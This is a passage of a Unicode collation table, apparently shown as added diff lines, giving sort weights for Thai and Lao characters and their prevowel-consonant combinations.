+0E41 0E16 ; [.2D88.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER THO THUNG>
+0E42 0E16 ; [.2D88.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER THO THUNG>
+0E43 0E16 ; [.2D88.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER THO THUNG>
+0E44 0E16 ; [.2D88.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER THO THUNG>
+0E17  ; [.2D89.0020.0002] # THAI CHARACTER THO THAHAN
+0E40 0E17 ; [.2D89.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER THO THAHAN>
+0E41 0E17 ; [.2D89.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER THO THAHAN>
+0E42 0E17 ; [.2D89.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER THO THAHAN>
+0E43 0E17 ; [.2D89.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER THO THAHAN>
+0E44 0E17 ; [.2D89.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER THO THAHAN>
+0E18  ; [.2D8A.0020.0002] # THAI CHARACTER THO THONG
+0E40 0E18 ; [.2D8A.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER THO THONG>
+0E41 0E18 ; [.2D8A.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER THO THONG>
+0E42 0E18 ; [.2D8A.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER THO THONG>
+0E43 0E18 ; [.2D8A.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER THO THONG>
+0E44 0E18 ; [.2D8A.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER THO THONG>
+0E19  ; [.2D8B.0020.0002] # THAI CHARACTER NO NU
+0E40 0E19 ; [.2D8B.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER NO NU>
+0E41 0E19 ; [.2D8B.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER NO NU>
+0E42 0E19 ; [.2D8B.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER NO NU>
+0E43 0E19 ; [.2D8B.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER NO NU>
+0E44 0E19 ; [.2D8B.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER NO NU>
+0E1A  ; [.2D8C.0020.0002] # THAI CHARACTER BO BAIMAI
+0E40 0E1A ; [.2D8C.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER BO BAIMAI>
+0E41 0E1A ; [.2D8C.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER BO BAIMAI>
+0E42 0E1A ; [.2D8C.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER BO BAIMAI>
+0E43 0E1A ; [.2D8C.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER BO BAIMAI>
+0E44 0E1A ; [.2D8C.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER BO BAIMAI>
+0E1B  ; [.2D8D.0020.0002] # THAI CHARACTER PO PLA
+0E40 0E1B ; [.2D8D.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER PO PLA>
+0E41 0E1B ; [.2D8D.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER PO PLA>
+0E42 0E1B ; [.2D8D.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER PO PLA>
+0E43 0E1B ; [.2D8D.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER PO PLA>
+0E44 0E1B ; [.2D8D.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER PO PLA>
+0E1C  ; [.2D8E.0020.0002] # THAI CHARACTER PHO PHUNG
+0E40 0E1C ; [.2D8E.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER PHO PHUNG>
+0E41 0E1C ; [.2D8E.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER PHO PHUNG>
+0E42 0E1C ; [.2D8E.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER PHO PHUNG>
+0E43 0E1C ; [.2D8E.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER PHO PHUNG>
+0E44 0E1C ; [.2D8E.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER PHO PHUNG>
+0E1D  ; [.2D8F.0020.0002] # THAI CHARACTER FO FA
+0E40 0E1D ; [.2D8F.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER FO FA>
+0E41 0E1D ; [.2D8F.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER FO FA>
+0E42 0E1D ; [.2D8F.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER FO FA>
+0E43 0E1D ; [.2D8F.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER FO FA>
+0E44 0E1D ; [.2D8F.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER FO FA>
+0E1E  ; [.2D90.0020.0002] # THAI CHARACTER PHO PHAN
+0E40 0E1E ; [.2D90.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER PHO PHAN>
+0E41 0E1E ; [.2D90.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER PHO PHAN>
+0E42 0E1E ; [.2D90.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER PHO PHAN>
+0E43 0E1E ; [.2D90.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER PHO PHAN>
+0E44 0E1E ; [.2D90.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER PHO PHAN>
+0E1F  ; [.2D91.0020.0002] # THAI CHARACTER FO FAN
+0E40 0E1F ; [.2D91.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER FO FAN>
+0E41 0E1F ; [.2D91.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER FO FAN>
+0E42 0E1F ; [.2D91.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER FO FAN>
+0E43 0E1F ; [.2D91.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER FO FAN>
+0E44 0E1F ; [.2D91.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER FO FAN>
+0E20  ; [.2D92.0020.0002] # THAI CHARACTER PHO SAMPHAO
+0E40 0E20 ; [.2D92.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER PHO SAMPHAO>
+0E41 0E20 ; [.2D92.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER PHO SAMPHAO>
+0E42 0E20 ; [.2D92.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER PHO SAMPHAO>
+0E43 0E20 ; [.2D92.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER PHO SAMPHAO>
+0E44 0E20 ; [.2D92.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER PHO SAMPHAO>
+0E21  ; [.2D93.0020.0002] # THAI CHARACTER MO MA
+0E40 0E21 ; [.2D93.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER MO MA>
+0E41 0E21 ; [.2D93.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER MO MA>
+0E42 0E21 ; [.2D93.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER MO MA>
+0E43 0E21 ; [.2D93.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER MO MA>
+0E44 0E21 ; [.2D93.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER MO MA>
+0E22  ; [.2D94.0020.0002] # THAI CHARACTER YO YAK
+0E40 0E22 ; [.2D94.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER YO YAK>
+0E41 0E22 ; [.2D94.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER YO YAK>
+0E42 0E22 ; [.2D94.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER YO YAK>
+0E43 0E22 ; [.2D94.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER YO YAK>
+0E44 0E22 ; [.2D94.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER YO YAK>
+0E23  ; [.2D95.0020.0002] # THAI CHARACTER RO RUA
+0E40 0E23 ; [.2D95.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER RO RUA>
+0E41 0E23 ; [.2D95.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER RO RUA>
+0E42 0E23 ; [.2D95.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER RO RUA>
+0E43 0E23 ; [.2D95.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER RO RUA>
+0E44 0E23 ; [.2D95.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER RO RUA>
+0E24  ; [.2D96.0020.0002] # THAI CHARACTER RU
+0E40 0E24 ; [.2D96.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER RU>
+0E41 0E24 ; [.2D96.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER RU>
+0E42 0E24 ; [.2D96.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER RU>
+0E43 0E24 ; [.2D96.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER RU>
+0E44 0E24 ; [.2D96.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER RU>
+0E25  ; [.2D97.0020.0002] # THAI CHARACTER LO LING
+0E40 0E25 ; [.2D97.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER LO LING>
+0E41 0E25 ; [.2D97.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER LO LING>
+0E42 0E25 ; [.2D97.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER LO LING>
+0E43 0E25 ; [.2D97.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER LO LING>
+0E44 0E25 ; [.2D97.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER LO LING>
+0E26  ; [.2D98.0020.0002] # THAI CHARACTER LU
+0E40 0E26 ; [.2D98.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER LU>
+0E41 0E26 ; [.2D98.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER LU>
+0E42 0E26 ; [.2D98.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER LU>
+0E43 0E26 ; [.2D98.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER LU>
+0E44 0E26 ; [.2D98.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER LU>
+0E27  ; [.2D99.0020.0002] # THAI CHARACTER WO WAEN
+0E40 0E27 ; [.2D99.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER WO WAEN>
+0E41 0E27 ; [.2D99.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER WO WAEN>
+0E42 0E27 ; [.2D99.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER WO WAEN>
+0E43 0E27 ; [.2D99.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER WO WAEN>
+0E44 0E27 ; [.2D99.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER WO WAEN>
+0E28  ; [.2D9A.0020.0002] # THAI CHARACTER SO SALA
+0E40 0E28 ; [.2D9A.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER SO SALA>
+0E41 0E28 ; [.2D9A.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER SO SALA>
+0E42 0E28 ; [.2D9A.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER SO SALA>
+0E43 0E28 ; [.2D9A.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER SO SALA>
+0E44 0E28 ; [.2D9A.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER SO SALA>
+0E29  ; [.2D9B.0020.0002] # THAI CHARACTER SO RUSI
+0E40 0E29 ; [.2D9B.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER SO RUSI>
+0E41 0E29 ; [.2D9B.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER SO RUSI>
+0E42 0E29 ; [.2D9B.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER SO RUSI>
+0E43 0E29 ; [.2D9B.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER SO RUSI>
+0E44 0E29 ; [.2D9B.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER SO RUSI>
+0E2A  ; [.2D9C.0020.0002] # THAI CHARACTER SO SUA
+0E40 0E2A ; [.2D9C.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER SO SUA>
+0E41 0E2A ; [.2D9C.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER SO SUA>
+0E42 0E2A ; [.2D9C.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER SO SUA>
+0E43 0E2A ; [.2D9C.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER SO SUA>
+0E44 0E2A ; [.2D9C.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER SO SUA>
+0E2B  ; [.2D9D.0020.0002] # THAI CHARACTER HO HIP
+0E40 0E2B ; [.2D9D.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER HO HIP>
+0E41 0E2B ; [.2D9D.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER HO HIP>
+0E42 0E2B ; [.2D9D.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER HO HIP>
+0E43 0E2B ; [.2D9D.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER HO HIP>
+0E44 0E2B ; [.2D9D.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER HO HIP>
+0E2C  ; [.2D9E.0020.0002] # THAI CHARACTER LO CHULA
+0E40 0E2C ; [.2D9E.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER LO CHULA>
+0E41 0E2C ; [.2D9E.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER LO CHULA>
+0E42 0E2C ; [.2D9E.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER LO CHULA>
+0E43 0E2C ; [.2D9E.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER LO CHULA>
+0E44 0E2C ; [.2D9E.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER LO CHULA>
+0E2D  ; [.2D9F.0020.0002] # THAI CHARACTER O ANG
+0E40 0E2D ; [.2D9F.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER O ANG>
+0E41 0E2D ; [.2D9F.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER O ANG>
+0E42 0E2D ; [.2D9F.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER O ANG>
+0E43 0E2D ; [.2D9F.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER O ANG>
+0E44 0E2D ; [.2D9F.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER O ANG>
+0E2E  ; [.2DA0.0020.0002] # THAI CHARACTER HO NOKHUK
+0E40 0E2E ; [.2DA0.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER HO NOKHUK>
+0E41 0E2E ; [.2DA0.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER HO NOKHUK>
+0E42 0E2E ; [.2DA0.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER HO NOKHUK>
+0E43 0E2E ; [.2DA0.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER HO NOKHUK>
+0E44 0E2E ; [.2DA0.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER HO NOKHUK>
+0E2F  ; [.2DA1.0020.0002] # THAI CHARACTER PAIYANNOI
+0E30  ; [.2DA2.0020.0002] # THAI CHARACTER SARA A
+0E31  ; [.2DA3.0020.0002] # THAI CHARACTER MAI HAN-AKAT
+0E32  ; [.2DA4.0020.0002] # THAI CHARACTER SARA AA
+0E33  ; [.2DA5.0020.0002] # THAI CHARACTER SARA AM
+0E4D 0E32 ; [.2DA5.0020.0002] # THAI CHARACTER SARA AM
+0E34  ; [.2DA6.0020.0002] # THAI CHARACTER SARA I
+0E35  ; [.2DA7.0020.0002] # THAI CHARACTER SARA II
+0E36  ; [.2DA8.0020.0002] # THAI CHARACTER SARA UE
+0E37  ; [.2DA9.0020.0002] # THAI CHARACTER SARA UEE
+0E38  ; [.2DAA.0020.0002] # THAI CHARACTER SARA U
+0E39  ; [.2DAB.0020.0002] # THAI CHARACTER SARA UU
+0E3A  ; [.2DAC.0020.0002] # THAI CHARACTER PHINTHU
+0E40  ; [.2DAD.0020.0002] # THAI CHARACTER SARA E
+0E41  ; [.2DAE.0020.0002] # THAI CHARACTER SARA AE
+0E42  ; [.2DAF.0020.0002] # THAI CHARACTER SARA O
+0E43  ; [.2DB0.0020.0002] # THAI CHARACTER SARA AI MAIMUAN
+0E44  ; [.2DB1.0020.0002] # THAI CHARACTER SARA AI MAIMALAI
+0E45  ; [.2DB2.0020.0002] # THAI CHARACTER LAKKHANGYAO
+0EDE  ; [.2DB3.0020.0002] # LAO LETTER KHMU GO
+0EC0 0EDE ; [.2DB3.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER KHMU GO>
+0EC1 0EDE ; [.2DB3.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER KHMU GO>
+0EC2 0EDE ; [.2DB3.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER KHMU GO>
+0EC3 0EDE ; [.2DB3.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER KHMU GO>
+0EC4 0EDE ; [.2DB3.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER KHMU GO>
+0E81  ; [.2DB4.0020.0002] # LAO LETTER KO
+0EC0 0E81 ; [.2DB4.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER KO>
+0EC1 0E81 ; [.2DB4.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER KO>
+0EC2 0E81 ; [.2DB4.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER KO>
+0EC3 0E81 ; [.2DB4.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER KO>
+0EC4 0E81 ; [.2DB4.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER KO>
+0E82  ; [.2DB5.0020.0002] # LAO LETTER KHO SUNG
+0EC0 0E82 ; [.2DB5.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER KHO SUNG>
+0EC1 0E82 ; [.2DB5.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER KHO SUNG>
+0EC2 0E82 ; [.2DB5.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER KHO SUNG>
+0EC3 0E82 ; [.2DB5.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER KHO SUNG>
+0EC4 0E82 ; [.2DB5.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER KHO SUNG>
+0E84  ; [.2DB6.0020.0002] # LAO LETTER KHO TAM
+0EC0 0E84 ; [.2DB6.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER KHO TAM>
+0EC1 0E84 ; [.2DB6.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER KHO TAM>
+0EC2 0E84 ; [.2DB6.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER KHO TAM>
+0EC3 0E84 ; [.2DB6.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER KHO TAM>
+0EC4 0E84 ; [.2DB6.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER KHO TAM>
+0E87  ; [.2DB7.0020.0002] # LAO LETTER NGO
+0EC0 0E87 ; [.2DB7.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER NGO>
+0EC1 0E87 ; [.2DB7.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER NGO>
+0EC2 0E87 ; [.2DB7.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER NGO>
+0EC3 0E87 ; [.2DB7.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER NGO>
+0EC4 0E87 ; [.2DB7.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER NGO>
+0E88  ; [.2DB8.0020.0002] # LAO LETTER CO
+0EC0 0E88 ; [.2DB8.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER CO>
+0EC1 0E88 ; [.2DB8.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER CO>
+0EC2 0E88 ; [.2DB8.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER CO>
+0EC3 0E88 ; [.2DB8.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER CO>
+0EC4 0E88 ; [.2DB8.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER CO>
+0EAA  ; [.2DB9.0020.0002] # LAO LETTER SO SUNG
+0EC0 0EAA ; [.2DB9.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER SO SUNG>
+0EC1 0EAA ; [.2DB9.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER SO SUNG>
+0EC2 0EAA ; [.2DB9.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER SO SUNG>
+0EC3 0EAA ; [.2DB9.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER SO SUNG>
+0EC4 0EAA ; [.2DB9.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER SO SUNG>
+0E8A  ; [.2DBA.0020.0002] # LAO LETTER SO TAM
+0EC0 0E8A ; [.2DBA.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER SO TAM>
+0EC1 0E8A ; [.2DBA.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER SO TAM>
+0EC2 0E8A ; [.2DBA.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER SO TAM>
+0EC3 0E8A ; [.2DBA.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER SO TAM>
+0EC4 0E8A ; [.2DBA.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER SO TAM>
+0EDF  ; [.2DBB.0020.0002] # LAO LETTER KHMU NYO
+0EC0 0EDF ; [.2DBB.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER KHMU NYO>
+0EC1 0EDF ; [.2DBB.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER KHMU NYO>
+0EC2 0EDF ; [.2DBB.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER KHMU NYO>
+0EC3 0EDF ; [.2DBB.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER KHMU NYO>
+0EC4 0EDF ; [.2DBB.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER KHMU NYO>
+0E8D  ; [.2DBC.0020.0002] # LAO LETTER NYO
+0EC0 0E8D ; [.2DBC.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER NYO>
+0EC1 0E8D ; [.2DBC.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER NYO>
+0EC2 0E8D ; [.2DBC.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER NYO>
+0EC3 0E8D ; [.2DBC.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER NYO>
+0EC4 0E8D ; [.2DBC.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER NYO>
+0E94  ; [.2DBD.0020.0002] # LAO LETTER DO
+0EC0 0E94 ; [.2DBD.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER DO>
+0EC1 0E94 ; [.2DBD.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER DO>
+0EC2 0E94 ; [.2DBD.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER DO>
+0EC3 0E94 ; [.2DBD.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER DO>
+0EC4 0E94 ; [.2DBD.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER DO>
+0E95  ; [.2DBE.0020.0002] # LAO LETTER TO
+0EC0 0E95 ; [.2DBE.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER TO>
+0EC1 0E95 ; [.2DBE.0020.0002][.2DDF.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER TO>
+0EC2 0E95 ; [.2DBE.0020.0002][.2DE0.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER TO>
+0EC3 0E95 ; [.2DBE.0020.0002][.2DE1.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER TO>
+0EC4 0E95 ; [.2DBE.0020.0002][.2DE2.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER TO>
+0E96  ; [.2DBF.0020.0002] # LAO LETTER THO SUNG
+0EC0 0E96 ; [.2DBF.0020.0002][.2DDE.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER THO SUNG>
